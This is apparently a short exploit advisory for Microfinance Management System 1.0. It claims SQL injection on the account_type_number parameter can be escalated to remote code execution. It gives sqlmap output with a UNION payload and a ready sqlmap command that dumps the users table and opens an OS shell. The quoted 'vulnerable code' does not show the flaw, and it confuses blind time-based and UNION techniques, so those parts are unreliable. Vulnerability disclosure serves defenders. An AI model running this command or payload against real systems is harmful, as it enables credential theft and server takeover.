# Title: Microfinance Management System 1.0 SQLi To Rce
# Author: Hejap Zairy
# Date: 24.07.2022
# Vendor: https://www.sourcecodester.com/php/14822/microfinance-management-system.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php
```php
<?php
$sql = "SELECT count(*) AS total_account FROM account_type";
$result = mysqli_query($conn, $sql);
$data = mysqli_fetch_assoc($result);
?>
}
```
#Status: CRITICAL
```
GET parameter 'account_type_number' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 147 HTTP(s) requests:
---
Parameter: account_type_number (GET)
Type: UNION query
Title: MySQL UNION query (random number) - 3 columns
Payload: account_type_number=-6015' UNION ALL SELECT 7366,CONCAT(0x716b626b71,0x4268666c6b715274794a58534f487366546e5379414951584a684459764f424451536f5a707a6a6a,0x7170707a71),7366#
---
```
#SQLi Time to Rce
#ُExploit
sqlmap -u 'http://0day.gov/mims/updateaccount_type.php?account_type_number=6015' --hex --time-sec=17 --dbms=mysql --technique=u --random-agent --eta -p account_type_number -D mims -T users --dump --os-shell
# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc
# Proof and Exploit:
https://i.imgur.com/kRcQmxO.png
https://i.imgur.com/4RmKSom.png
